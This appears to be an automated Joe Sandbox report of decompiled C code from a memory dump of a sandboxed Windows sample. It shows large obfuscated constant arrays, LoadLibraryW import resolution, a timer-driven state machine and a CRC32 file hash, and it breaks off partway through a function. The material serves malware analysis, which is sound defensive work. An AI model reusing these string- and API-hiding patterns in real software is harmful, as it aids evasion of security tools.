Function 0031BA2A, Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 171
libraryUNIQUE

C-Code - Quality: 99%

			E0031BA2A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t155;
				void* _t165;

				_t155 = __ebx;
				 *((intOrPtr*)(_t165 - 0x254)) = 0x63494279;
				 *((intOrPtr*)(_t165 - 0x250)) = 0xe174e45c;
				 *((intOrPtr*)(_t165 - 0x24c)) = 0x478f3a36;
				 *((intOrPtr*)(_t165 - 0x248)) = 0x5d285862;
				 *((intOrPtr*)(_t165 - 0x244)) = 0xf6204c51;
				 *((intOrPtr*)(_t165 - 0x240)) = 0x8f4b285d;
				 *((intOrPtr*)(_t165 - 0x23c)) = 0x9d782d6a;
				 *((intOrPtr*)(_t165 - 0x238)) = 0x50e6beb5;
				 *((intOrPtr*)(_t165 - 0x234)) = 0xd8c7ffa1;
				 *((intOrPtr*)(_t165 - 0x230)) = 0x797eee99;
				 *((intOrPtr*)(_t165 - 0x22c)) = 0xe2ad1a62;
				 *((intOrPtr*)(_t165 - 0x228)) = 0x267e8d69;
				 *((intOrPtr*)(_t165 - 0x224)) = 0xc6fccfd8;
				 *((intOrPtr*)(_t165 - 0x220)) = 0x65b05c7;
				 *((intOrPtr*)(_t165 - 0x21c)) = 0x52738282;
				 *((intOrPtr*)(_t165 - 0x218)) = 0x59a783a3;
				 *((intOrPtr*)(_t165 - 0x214)) = 0x5adf1a7b;
				 *((intOrPtr*)(_t165 - 0x210)) = 0x6e7de17a;
				 *((intOrPtr*)(_t165 - 0x20c)) = 0xca5ff49f;
				 *((intOrPtr*)(_t165 - 0x208)) = 0x2fc09274;
				 *((intOrPtr*)(_t165 - 0x204)) = 0x6658a50b;
				 *((intOrPtr*)(_t165 - 0x200)) = 0x16c1a0be;
				 *((intOrPtr*)(_t165 - 0x1fc)) = 0xcc1b9b67;
				 *((intOrPtr*)(_t165 - 0x1f8)) = 0x4a5fd6b3;
				 *((intOrPtr*)(_t165 - 0x1f4)) = 0x77c54917;
				 *((intOrPtr*)(_t165 - 0x1f0)) = 0xba3538b9;
				 *((intOrPtr*)(_t165 - 0x1ec)) = 0x7d4a2147;
				 *((intOrPtr*)(_t165 - 0x1e8)) = 0x69fa4a69;
				 *((intOrPtr*)(_t165 - 0x1e4)) = 0x1e128d5c;
				 *((intOrPtr*)(_t165 - 0x1e0)) = 0x723169a;
				 *((intOrPtr*)(_t165 - 0x1dc)) = 0x421b3829;
				 *((intOrPtr*)(_t165 - 0x1d8)) = 0xc46039bb;
				 *((intOrPtr*)(_t165 - 0x1d4)) = 0xddfb93a8;
				 *((intOrPtr*)(_t165 - 0x1d0)) = 0x7adb595a;
				 *((intOrPtr*)(_t165 - 0x1cc)) = 0xb501583d;
				 *((intOrPtr*)(_t165 - 0x1c8)) = 0xfe269756;
				 *((intOrPtr*)(_t165 - 0x1c4)) = 0x4e2bd0a;
				 *((intOrPtr*)(_t165 - 0x1c0)) = 0x46f3bca8;
				 *((intOrPtr*)(_t165 - 0x1bc)) = 0x99fe13f6;
				 *((intOrPtr*)(_t165 - 0x1b8)) = 0x4f8018c8;
				 *((intOrPtr*)(_t165 - 0x1b4)) = 0x9e804fe1;
				 *((intOrPtr*)(_t165 - 0x1b0)) = 0x342ba039;
				 *((intOrPtr*)(_t165 - 0x1ac)) = 0xe6f2d53d;
				 *((intOrPtr*)(_t165 - 0x1a8)) = 0xd6e3d6f3;
				 *((intOrPtr*)(_t165 - 0x1a4)) = 0x57bb77f1;
				 *((intOrPtr*)(_t165 - 0x1a0)) = 0x6c9926d2;
				 *((intOrPtr*)(_t165 - 0x19c)) = 0x93954019;
				 *((intOrPtr*)(_t165 - 0x198)) = 0x256fdde6;
				 *((intOrPtr*)(_t165 - 0x194)) = 0x221792dd;
				 *((intOrPtr*)(_t165 - 0x190)) = 0x358821bc;
				 *((intOrPtr*)(_t165 - 0x18c)) = 0x9bb828c9;
				 *((intOrPtr*)(_t165 - 0x188)) = 0x6375c400;
				 *((intOrPtr*)(_t165 - 0x184)) = 0xac66e5e2;
				 *((intOrPtr*)(_t165 - 0x180)) = 0x7c2520bd;
				 *((intOrPtr*)(_t165 - 0x17c)) = 0x5347274;
				 *((intOrPtr*)(_t165 - 0x178)) = 0x2c01a632;
				 *((intOrPtr*)(_t165 - 0x174)) = 0xcd57ff19;
				 *((intOrPtr*)(_t165 - 0x170)) = 0x189914cb;
				 *((intOrPtr*)(_t165 - 0x16c)) = 0x5725464a;
				 *((intOrPtr*)(_t165 - 0x168)) = 0x15a79522;
				 *((intOrPtr*)(_t165 - 0x164)) = 0x883d49b9;
				 *((intOrPtr*)(_t165 - 0x160)) = 0xdbd2223e;
				 *((intOrPtr*)(_t165 - 0x15c)) = 0xd2ced7e9;
				 *((intOrPtr*)(_t165 - 0x158)) = 0xac6f5ec4;
				 *((intOrPtr*)(_t165 - 0x154)) = 0x2d6cf3b1;
				 *((intOrPtr*)(_t165 - 0x150)) = 0x3e43fc0d;
				 *((intOrPtr*)(_t165 - 0x14c)) = 0xb9d50b04;
				 *((intOrPtr*)(_t165 - 0x148)) = 0x9500b725;
				 *((intOrPtr*)(_t165 - 0x144)) = 0x6686a35a;
				 *((intOrPtr*)(_t165 - 0x140)) = 0xe37de979;
				 *((intOrPtr*)(_t165 - 0x13c)) = 0xb932e49;
				 *((intOrPtr*)(_t165 - 0x138)) = 0x4570cb4a;
				 *((intOrPtr*)(_t165 - 0x134)) = 0xdd56b95f;
				 *((intOrPtr*)(_t165 - 0x130)) = 0xd4332a8e;
				 *((intOrPtr*)(_t165 - 0x12c)) = 0xf810e538;
				 *((intOrPtr*)(_t165 - 0x128)) = 0x9fa0e062;
				 *((intOrPtr*)(_t165 - 0x124)) = 0xe17b318f;
				 *((intOrPtr*)(_t165 - 0x120)) = 0xa99daeaa;
				 *((intOrPtr*)(_t165 - 0x11c)) = 0x81cb5a8b;
				 *((intOrPtr*)(_t165 - 0x118)) = 0x68c081b3;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t165 - 0x114)) = 0x5790c2c5;
				 *((intOrPtr*)(_t165 - 0x110)) = 0xd14e5467;
				 *((intOrPtr*)(_t165 - 0x10c)) = 0xf3568b1;
				 *((intOrPtr*)(_t165 - 0x108)) = 0xd1859a7d;
				 *((intOrPtr*)(_t165 - 0x104)) = 0x926cfea0;
				 *((intOrPtr*)(_t165 - 0x100)) = 0xce38d4be;
				 *((intOrPtr*)(_t165 - 0xfc)) = 0x49975a8;
				 *((intOrPtr*)(_t165 - 0xf8)) = 0x39069721;
				 *((intOrPtr*)(_t165 - 0xf4)) = 0x3ff5988f;
				 *((intOrPtr*)(_t165 - 0xf0)) = 0x40bdfd0f;
				 *((intOrPtr*)(_t165 - 0xec)) = 0xb932e23;
				 *((intOrPtr*)(_t165 - 0xe8)) = 0xf0070458;
				 *((intOrPtr*)(_t165 - 0xe4)) = 0x3e8d9ebd;
				 *((intOrPtr*)(_t165 - 0xe0)) = 0xcaf06021;
				 *((intOrPtr*)(_t165 - 0xdc)) = 0x75bf9aed;
				 *((intOrPtr*)(_t165 - 0xd8)) = 0xb0a905fc;
				 *((intOrPtr*)(_t165 - 0xd4)) = 0xc707501c;
				 *((intOrPtr*)(_t165 - 0xd0)) = 0xb79a14ce;
				 *((intOrPtr*)(_t165 - 0xcc)) = 0x3d3a2493;
				 *((intOrPtr*)(_t165 - 0xc8)) = 0x640088d0;
				 *((intOrPtr*)(_t165 - 0xc4)) = 0x1c282913;
				 *((intOrPtr*)(_t165 - 0xc0)) = 0x68fccc33;
				 *((intOrPtr*)(_t165 - 0xbc)) = 0x9bf4608c;
				 *((intOrPtr*)(_t165 - 0xb8)) = 0xb92080a;
				 *((intOrPtr*)(_t165 - 0xb4)) = 0xf5c8f6f3;
				 *((intOrPtr*)(_t165 - 0xb0)) = 0x286b9af5;
				 *((intOrPtr*)(_t165 - 0xac)) = 0x5409d4dc;
				 *((intOrPtr*)(_t165 - 0xa8)) = 0xd0af62fe;
				 *((intOrPtr*)(_t165 - 0xa4)) = 0xaec8326e;
				 *((intOrPtr*)(_t165 - 0xa0)) = 0xa870ef5e;
				 *((intOrPtr*)(_t165 - 0x9c)) = 0xdd8cf5ea;
				 *((intOrPtr*)(_t165 - 0x98)) = 0x8e64fc50;
				 *((intOrPtr*)(_t165 - 0x94)) = 0x7147bed3;
				 *((intOrPtr*)(_t165 - 0x90)) = 0xef4e1380;
				 *((intOrPtr*)(_t165 - 0x8c)) = 0xfcfaabf5;
				 *((intOrPtr*)(_t165 - 0x88)) = 0x521bcc2b;
				 *((intOrPtr*)(_t165 - 0x84)) = 0x2ba0cb6c;
				 *((intOrPtr*)(_t165 - 0x80)) = 0x93ddb426;
				 *((intOrPtr*)(_t165 - 0x7c)) = 0xe18c0515;
				 *((intOrPtr*)(_t165 - 0x78)) = 0xd364ac18;
				 *((intOrPtr*)(_t165 - 0x74)) = 0x30133878;
				 *((intOrPtr*)(_t165 - 0x70)) = 0x2477a80c;
				 *((intOrPtr*)(_t165 - 0x6c)) = 0x4f649ef0;
				 *((intOrPtr*)(_t165 - 0x68)) = 0xec17780d;
				 *((intOrPtr*)(_t165 - 0x64)) = 0xd7fcce46;
				 *((intOrPtr*)(_t165 - 0x60)) = 0x17b801b3;
				 *((intOrPtr*)(_t165 - 0x5c)) = 0xb31115cc;
				 *((intOrPtr*)(_t165 - 0x58)) = 0xdc042498;
				 *((intOrPtr*)(_t165 - 0x54)) = 0x5ad123c5;
				 *((intOrPtr*)(_t165 - 0x50)) = 0x5cd4380e;
				 *((intOrPtr*)(_t165 - 0x4c)) = 0x94097e9a;
				 *((intOrPtr*)(_t165 - 0x48)) = 0x2fd80092;
				 *((intOrPtr*)(_t165 - 0x44)) = 0xc2f5e2b4;
				 *((intOrPtr*)(_t165 - 0x40)) = 0x74d59ad6;
				 *((intOrPtr*)(_t165 - 0x3c)) = 0x47c835c2;
				 *((intOrPtr*)(_t165 - 0x38)) = 0xd8441b8b;
				 *((intOrPtr*)(_t165 - 0x34)) = 0x7c07614d;
				 *((intOrPtr*)(_t165 - 0x30)) = 0xf13fa674;
				 *((intOrPtr*)(_t165 - 0x2c)) = 0xa6b65dcf;
				 *((intOrPtr*)(_t165 - 0x28)) = 0xa3c08375;
				 *((intOrPtr*)(_t165 - 0x24)) = 0x5ee40c11;
				 *((intOrPtr*)(_t165 - 0x20)) = 0x5b22c6ce;
				 *((intOrPtr*)(_t165 - 0x1c)) = 0x6adfd0eb;
				 *((intOrPtr*)(_t165 - 0x18)) = 0x1bf5425c;
				 *((intOrPtr*)(_t165 - 0x14)) = 0xab354f45;
				 *((intOrPtr*)(_t165 - 0x10)) = 0x724244a0;
				 *((intOrPtr*)(_t165 - 0xc)) = 0xfd06411d;
				 *((intOrPtr*)(_t165 - 8)) = 0xae4c4691;
				 *((intOrPtr*)(_t165 - 4)) = 0x5af1359b;
				_t163 = L00311D10(0x321610, 0x1f8, __edi, __esi);
				 *0x324ca0 = LoadLibraryW(_t151);
				L00311DB0(_t163);
				return E00311570(_t155,  *0x324ca0, _t165 - 0x254, _t163, 0x95, 0x51873af2, 0x324850);
			}

0x0031ba2a
0x0031ba2a
0x0031ba34
0x0031ba3e
0x0031ba48
0x0031ba52
0x0031ba5c
0x0031ba66
0x0031ba70
0x0031ba7a
0x0031ba84
0x0031ba8e
0x0031ba98
0x0031baa2
0x0031baac
0x0031bab6
0x0031bac0
0x0031baca
0x0031bad4
0x0031bade
0x0031bae8
0x0031baf2
0x0031bafc
0x0031bb06
0x0031bb10
0x0031bb1a
0x0031bb24
0x0031bb2e
0x0031bb38
0x0031bb42
0x0031bb4c
0x0031bb56
0x0031bb60
0x0031bb6a
0x0031bb74
0x0031bb7e
0x0031bb88
0x0031bb92
0x0031bb9c
0x0031bba6
0x0031bbb0
0x0031bbba
0x0031bbc4
0x0031bbce
0x0031bbd8
0x0031bbe2
0x0031bbec
0x0031bbf6
0x0031bc00
0x0031bc0a
0x0031bc14
0x0031bc1e
0x0031bc28
0x0031bc32
0x0031bc3c
0x0031bc46
0x0031bc50
0x0031bc5a
0x0031bc64
0x0031bc6e
0x0031bc78
0x0031bc82
0x0031bc8c
0x0031bc96
0x0031bca0
0x0031bcaa
0x0031bcb4
0x0031bcbe
0x0031bcc8
0x0031bcd2
0x0031bcdc
0x0031bce6
0x0031bcf0
0x0031bcfa
0x0031bd04
0x0031bd0e
0x0031bd18
0x0031bd22
0x0031bd2c
0x0031bd36
0x0031bd40
0x0031bd4a
0x0031bd54
0x0031bd63
0x0031bd6d
0x0031bd77
0x0031bd81
0x0031bd8b
0x0031bd95
0x0031bd9f
0x0031bda9
0x0031bdb3
0x0031bdbd
0x0031bdc7
0x0031bdd1
0x0031bddb
0x0031bde5
0x0031bdef
0x0031bdf9
0x0031be03
0x0031be0d
0x0031be17
0x0031be21
0x0031be2b
0x0031be35
0x0031be3f
0x0031be49
0x0031be53
0x0031be5d
0x0031be67
0x0031be71
0x0031be7b
0x0031be85
0x0031be8f
0x0031be99
0x0031bea3
0x0031bead
0x0031beb7
0x0031bec1
0x0031becb
0x0031bed2
0x0031bed9
0x0031bee0
0x0031bee7
0x0031beee
0x0031bef5
0x0031befc
0x0031bf03
0x0031bf0a
0x0031bf11
0x0031bf18
0x0031bf1f
0x0031bf26
0x0031bf2d
0x0031bf34
0x0031bf3b
0x0031bf42
0x0031bf49
0x0031bf50
0x0031bf57
0x0031bf5e
0x0031bf65
0x0031bf6c
0x0031bf73
0x0031bf7a
0x0031bf81
0x0031bf88
0x0031bf8f
0x0031bf96
0x0031bf9d
0x0031bfa4
0x0031bfb3
0x0031bfbe
0x0031bfc3
0x0031bfef

APIs

LoadLibraryW.KERNEL32(00000000), ref: 0031BFB6

Strings

z}n, xrefs: 0031BAD4
JF%W, xrefs: 0031BC6E
bX(], xrefs: 0031BA48
G!J}, xrefs: 0031BB2E
yBIc, xrefs: 0031BA2A
\t, xrefs: 0031BA34
y}, xrefs: 0031BCDC

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: LibraryLoad
String ID: G!J}$JF%W$\t$bX(]$yBIc$y}$z}n
API String ID: 1029625771-1870260104
Opcode ID: f05fa9885ac8312b856a2361844d185639733b2e9f5ceaacbeba167ccee18e5a
Instruction ID: ce3104c53fd7eb4f6359f962f1e046cd93012f46702fee03e0fd8f182e8839ac
Opcode Fuzzy Hash: f05fa9885ac8312b856a2361844d185639733b2e9f5ceaacbeba167ccee18e5a
Instruction Fuzzy Hash: A1C1B8B0C46369CBDB61CF86AA857CDBB70FB06704F6086C8C5693B214CB754A86CF85

Uniqueness

Uniqueness Score: 100.00%

Function 0031C801, Relevance: 10.6, APIs: 7, Instructions: 93
COMMON

C-Code - Quality: 96%

			E0031C801(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				signed int _t15;

				 *((intOrPtr*)(__esi + 0xf)) =  *((intOrPtr*)(__esi + 0xf)) + __edx;
				 *__eax =  *__eax + __eax;
				_t15 = GetTickCount();
				if( *0x324ca8 > _t15) {
					L19:
					return _t15;
				} else {
					_t15 =  *0x324cac - 1;
					if(_t15 > 3) {
						goto L19;
					} else {
						switch( *((intOrPtr*)(_t15 * 4 +  &M0031C96C))) {
							case 0:
								 *0x324cac = 0;
								_t17 = L00316E30(__edi, __esi, _t38);
								_t39 = _t17;
								if(_t17 == 0) {
									goto L7;
								} else {
									_t17 = L00317ED0(__edi, __esi, _t39);
									_t40 = _t17;
									if(_t17 == 0) {
										goto L7;
									} else {
										_t17 = E0031DE40(__ebx, _t26, __edi, _t40);
										if(_t17 != 0) {
											goto L7;
										} else {
											_t18 = GetTickCount();
											_t20 = GetTickCount();
											 *0x324cac = 2;
											_t22 = _t20 + 0xbb8 + _t18 % 0xbb8;
											 *0x324ca8 = _t22;
											return _t22;
										}
									}
								}
								goto L20;
							case 1:
								 *0x324cac = 0;
								__eflags = L00319020(__edi, __esi, __eflags);
								if(__eflags == 0) {
									L7:
									 *0x324cac = 4;
									return _t17;
								} else {
									__eax = L00319810(__edi, __esi, __eflags);
									__eflags = __eax;
									if(__eax == 0) {
										goto L7;
									} else {
										L0031AAE0();
										__eflags = __eax;
										if(__eflags == 0) {
											goto L7;
										} else {
											__eflags = L0031B930(__edx, __edi, __esi, __eflags);
											if(__eflags == 0) {
												goto L7;
											} else {
												__eflags = L0031BA20(__edi, __esi, __eflags);
												if(__eflags == 0) {
													goto L7;
												} else {
													__eax = L0031BFF0(__edi, __esi, __eflags);
													__eflags = __eax;
													if(__eax == 0) {
														goto L7;
													} else {
														__esp = __esp - 8;
														__eax = E00316B80(__ecx);
														__esp = __esp + 8;
														__eflags = __eax;
														if(__eax == 0) {
															goto L7;
														} else {
															_push(__ecx);
															__ecx = __eax;
															__eax = E0031E270(__eax);
															__esp = __esp + 4;
															__eflags = __eax;
															if(__eax == 0) {
																goto L7;
															} else {
																__eax = GetTickCount();
																__edx = 0;
																__ecx = 0xbb8;
																_t13 = __eax % 0xbb8;
																__eax = __eax / 0xbb8;
																__edx = _t13;
																__esi = _t13;
																__eax = GetTickCount();
																__eax = __eax + 0xbb8;
																 *0x324cac = 3;
																__eax = __eax + _t13;
																__eflags = __eax;
																 *0x324ca8 = __eax;
																_pop(__esi);
																return __eax;
															}
														}
													}
												}
											}
										}
									}
								}
								goto L20;
							case 2:
								 *0x324cac = 0;
								__esi = GetTickCount();
								__eax = E0031C6B0(__ebx, __eflags);
								__esi = __esi + __eax;
								__eflags = __esi;
								 *0x324cac = 3;
								 *0x324ca8 = __esi;
								_pop(__esi);
								return __eax;
								goto L20;
							case 3:
								__eax = SetEvent( *0x322d58);
								goto L19;
						}
					}
				}
				L20:
			}

0x0031c806
0x0031c80c
0x0031c80e
0x0031c81a
0x0031c967
0x0031c968
0x0031c820
0x0031c825
0x0031c829
0x00000000
0x0031c82f
0x0031c82f
0x00000000
0x0031c836
0x0031c840
0x0031c845
0x0031c847
0x00000000
0x0031c849
0x0031c849
0x0031c84e
0x0031c850
0x00000000
0x0031c852
0x0031c852
0x0031c859
0x00000000
0x0031c85b
0x0031c85b
0x0031c86c
0x0031c877
0x0031c881
0x0031c883
0x0031c889
0x0031c889
0x0031c859
0x0031c850
0x00000000
0x00000000
0x0031c89a
0x0031c8a9
0x0031c8ab
0x0031c88c
0x0031c88c
0x0031c897
0x0031c8ad
0x0031c8ad
0x0031c8b2
0x0031c8b4
0x00000000
0x0031c8b6
0x0031c8b6
0x0031c8bb
0x0031c8bd
0x00000000
0x0031c8bf
0x0031c8c4
0x0031c8c6
0x00000000
0x0031c8c8
0x0031c8cd
0x0031c8cf
0x00000000
0x0031c8d1
0x0031c8d1
0x0031c8d6
0x0031c8d8
0x00000000
0x0031c8da
0x0031c8da
0x0031c8dd
0x0031c8e2
0x0031c8e5
0x0031c8e7
0x00000000
0x0031c8e9
0x0031c8e9
0x0031c8ef
0x0031c8f1
0x0031c8f6
0x0031c8f9
0x0031c8fb
0x00000000
0x0031c8fd
0x0031c8fd
0x0031c903
0x0031c905
0x0031c90a
0x0031c90a
0x0031c90a
0x0031c90c
0x0031c90e
0x0031c914
0x0031c919
0x0031c923
0x0031c923
0x0031c925
0x0031c92a
0x0031c92b
0x0031c92b
0x0031c8fb
0x0031c8e7
0x0031c8d8
0x0031c8cf
0x0031c8c6
0x0031c8bd
0x0031c8b4
0x00000000
0x00000000
0x0031c92e
0x0031c93e
0x0031c940
0x0031c945
0x0031c945
0x0031c947
0x0031c951
0x0031c957
0x0031c958
0x00000000
0x00000000
0x0031c961
0x00000000
0x00000000
0x0031c82f
0x0031c829
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0031C80E
SetEvent.KERNEL32 ref: 0031C961

Part of subcall function 0031DE40: lstrcmpiW.KERNEL32(00325400,00324FF0,?,0031C857), ref: 0031DE78

GetTickCount.KERNEL32 ref: 0031C85B
GetTickCount.KERNEL32 ref: 0031C86C
GetTickCount.KERNEL32 ref: 0031C8FD
GetTickCount.KERNEL32 ref: 0031C90E
GetTickCount.KERNEL32 ref: 0031C938

Part of subcall function 0031C6B0: GetTickCount.KERNEL32 ref: 0031C6BB
Part of subcall function 0031C6B0: lstrlen.KERNEL32(00000000), ref: 0031C6E5
Part of subcall function 0031C6B0: GetTickCount.KERNEL32 ref: 0031C7B6

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: CountTick$Eventlstrcmpilstrlen
String ID:
API String ID: 637603502-0
Opcode ID: 331181073b99fdcce8ae7066f2da0739e200cc1145138c6dfdfe9059c75c6a6c
Instruction ID: 36da54802ccfe4db93b158b42aeb5aee650d7216c86659802eea73f6bc6df122
Opcode Fuzzy Hash: 331181073b99fdcce8ae7066f2da0739e200cc1145138c6dfdfe9059c75c6a6c
Instruction Fuzzy Hash: 593191725542205BD72FBFB9EC453863A99AB4C305F0A8829E805CB196EF74C886CB75

Uniqueness

Uniqueness Score: 0.01%

Function 0031D8D4, Relevance: 9.0, APIs: 6, Instructions: 22
fileCOMMON

C-Code - Quality: 51%

			E0031D8D4() {
				int _t3;
				void* _t7;
				void* _t9;
				void* _t11;

				_t7 = MapViewOfFile();
				if(_t7 != 0) {
					 *0x323304 = RtlComputeCrc32(0, _t7, GetFileSize(_t11, 0));
					UnmapViewOfFile(_t7);
				}
				CloseHandle(_t9);
				_t3 = CloseHandle(_t11);
				return _t3;
			}

0x0031d8da
0x0031d8de
0x0031d8f4
0x0031d8f9
0x0031d8f9
0x0031d900
0x0031d908
0x0031d910

APIs

MapViewOfFile.KERNEL32 ref: 0031D8D4
GetFileSize.KERNEL32(?,00000000), ref: 0031D8E3
RtlComputeCrc32.NTDLL(00000000,00000000,00000000), ref: 0031D8ED
UnmapViewOfFile.KERNEL32(00000000,?,00000000), ref: 0031D8F9
CloseHandle.KERNEL32 ref: 0031D900
CloseHandle.KERNEL32 ref: 0031D908

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID: File$CloseHandleView$ComputeCrc32SizeUnmap
String ID:
API String ID: 741204879-0
Opcode ID: 3aeec2e7fe21aa5bb74571029372dfbac10d82281067a9c1b48f370e4258122e
Instruction ID: 0cc79c0596cd5268796a1a260bbb4f94c30d5284feff5fb498e5e945e4c5bbf3
Opcode Fuzzy Hash: 3aeec2e7fe21aa5bb74571029372dfbac10d82281067a9c1b48f370e4258122e
Instruction Fuzzy Hash: 3DE0BF76300205ABD2232BA5BD8DBA97A6CEB49312F004019F60185150CF685B578B65

Uniqueness

Uniqueness Score: 0.01%

Function 0031BFFA, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 140
libraryUNIQUE

C-Code - Quality: 98%

			E0031BFFA(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t124;
				void* _t134;

				_t124 = __ebx;
				 *((intOrPtr*)(_t134 - 0x1d8)) = 0xcc3200da;
				 *((intOrPtr*)(_t134 - 0x1d4)) = 0x4caa0f36;
				 *((intOrPtr*)(_t134 - 0x1d0)) = 0xa9a6dbf6;
				 *((intOrPtr*)(_t134 - 0x1cc)) = 0xbaf47dac;
				 *((intOrPtr*)(_t134 - 0x1c8)) = 0x460af3b5;
				 *((intOrPtr*)(_t134 - 0x1c4)) = 0x94386c61;
				 *((intOrPtr*)(_t134 - 0x1c0)) = 0x18b97ad8;
				 *((intOrPtr*)(_t134 - 0x1bc)) = 0xc352812b;
				 *((intOrPtr*)(_t134 - 0x1b8)) = 0x4c3a87c0;
				 *((intOrPtr*)(_t134 - 0x1b4)) = 0x8330f4b1;
				 *((intOrPtr*)(_t134 - 0x1b0)) = 0xc15f793c;
				 *((intOrPtr*)(_t134 - 0x1ac)) = 0x6fa8c569;
				 *((intOrPtr*)(_t134 - 0x1a8)) = 0x3b11dcf3;
				 *((intOrPtr*)(_t134 - 0x1a4)) = 0xaa96ff6;
				 *((intOrPtr*)(_t134 - 0x1a0)) = 0xb1d84eb1;
				 *((intOrPtr*)(_t134 - 0x19c)) = 0x49aa0315;
				 *((intOrPtr*)(_t134 - 0x198)) = 0x7f8f2941;
				 *((intOrPtr*)(_t134 - 0x194)) = 0x2ad17b9c;
				 *((intOrPtr*)(_t134 - 0x190)) = 0xfa688bbd;
				 *((intOrPtr*)(_t134 - 0x18c)) = 0x9c14558b;
				 *((intOrPtr*)(_t134 - 0x188)) = 0x521f59f7;
				 *((intOrPtr*)(_t134 - 0x184)) = 0xbefac58f;
				 *((intOrPtr*)(_t134 - 0x180)) = 0x5904ec23;
				 *((intOrPtr*)(_t134 - 0x17c)) = 0xa574fc83;
				 *((intOrPtr*)(_t134 - 0x178)) = 0x80f4869e;
				 *((intOrPtr*)(_t134 - 0x174)) = 0x8a3469d1;
				 *((intOrPtr*)(_t134 - 0x170)) = 0x4a6cd0db;
				 *((intOrPtr*)(_t134 - 0x16c)) = 0x7cbc94d;
				 *((intOrPtr*)(_t134 - 0x168)) = 0xdbda1ff1;
				 *((intOrPtr*)(_t134 - 0x164)) = 0x1436584f;
				 *((intOrPtr*)(_t134 - 0x160)) = 0xd8c86fa7;
				 *((intOrPtr*)(_t134 - 0x15c)) = 0x76c3ce23;
				 *((intOrPtr*)(_t134 - 0x158)) = 0x81773cb;
				 *((intOrPtr*)(_t134 - 0x154)) = 0xd159ceef;
				 *((intOrPtr*)(_t134 - 0x150)) = 0xd26daf02;
				 *((intOrPtr*)(_t134 - 0x14c)) = 0x3b4ff9fb;
				 *((intOrPtr*)(_t134 - 0x148)) = 0x21d7e98c;
				 *((intOrPtr*)(_t134 - 0x144)) = 0xbc079b8a;
				 *((intOrPtr*)(_t134 - 0x140)) = 0x2a8e3c43;
				 *((intOrPtr*)(_t134 - 0x13c)) = 0xc16a66e8;
				 *((intOrPtr*)(_t134 - 0x138)) = 0xf3619966;
				 *((intOrPtr*)(_t134 - 0x134)) = 0x376b47ce;
				 *((intOrPtr*)(_t134 - 0x130)) = 0x4360769;
				 *((intOrPtr*)(_t134 - 0x12c)) = 0x17821f88;
				 *((intOrPtr*)(_t134 - 0x128)) = 0x55b9b01a;
				 *((intOrPtr*)(_t134 - 0x124)) = 0xeaef3a3e;
				 *((intOrPtr*)(_t134 - 0x120)) = 0x8c07e497;
				 *((intOrPtr*)(_t134 - 0x11c)) = 0xd3d551df;
				 *((intOrPtr*)(_t134 - 0x118)) = 0x7abd1207;
				 *((intOrPtr*)(_t134 - 0x114)) = 0x1d2bf980;
				 *((intOrPtr*)(_t134 - 0x110)) = 0x97add55b;
				 *((intOrPtr*)(_t134 - 0x10c)) = 0x201af7db;
				 *((intOrPtr*)(_t134 - 0x108)) = 0x5e56629d;
				 *((intOrPtr*)(_t134 - 0x104)) = 0x11076f6d;
				 *((intOrPtr*)(_t134 - 0x100)) = 0x89741eba;
				 *((intOrPtr*)(_t134 - 0xfc)) = 0xd2948018;
				 *((intOrPtr*)(_t134 - 0xf8)) = 0xd806311c;
				 *((intOrPtr*)(_t134 - 0xf4)) = 0x4ab1182b;
				 *((intOrPtr*)(_t134 - 0xf0)) = 0xa54d5ba1;
				 *((intOrPtr*)(_t134 - 0xec)) = 0x495ef7c7;
				 *((intOrPtr*)(_t134 - 0xe8)) = 0x30ec95f0;
				 *((intOrPtr*)(_t134 - 0xe4)) = 0xcdd9565c;
				 *((intOrPtr*)(_t134 - 0xe0)) = 0x2d57853e;
				 *((intOrPtr*)(_t134 - 0xdc)) = 0xb68f3314;
				 *((intOrPtr*)(_t134 - 0xd8)) = 0x1ad71470;
				 *((intOrPtr*)(_t134 - 0xd4)) = 0xc1b113c5;
				 *((intOrPtr*)(_t134 - 0xd0)) = 0x1af6df0b;
				 *((intOrPtr*)(_t134 - 0xcc)) = 0xe29175e7;
				 *((intOrPtr*)(_t134 - 0xc8)) = 0xb8bb9f07;
				 *((intOrPtr*)(_t134 - 0xc4)) = 0x3f399857;
				 *((intOrPtr*)(_t134 - 0xc0)) = 0x81fd2cdb;
				 *((intOrPtr*)(_t134 - 0xbc)) = 0x19f123a;
				 *((intOrPtr*)(_t134 - 0xb8)) = 0x28bff5a;
				 *((intOrPtr*)(_t134 - 0xb4)) = 0x6bfe8ce6;
				 *((intOrPtr*)(_t134 - 0xb0)) = 0xd7574e3f;
				 *((intOrPtr*)(_t134 - 0xac)) = 0x3691786d;
				 *((intOrPtr*)(_t134 - 0xa8)) = 0x588766c9;
				 *((intOrPtr*)(_t134 - 0xa4)) = 0x367390eb;
				 *((intOrPtr*)(_t134 - 0xa0)) = 0xb1ec2781;
				 *((intOrPtr*)(_t134 - 0x9c)) = 0x12946a5f;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t134 - 0x98)) = 0x1960b331;
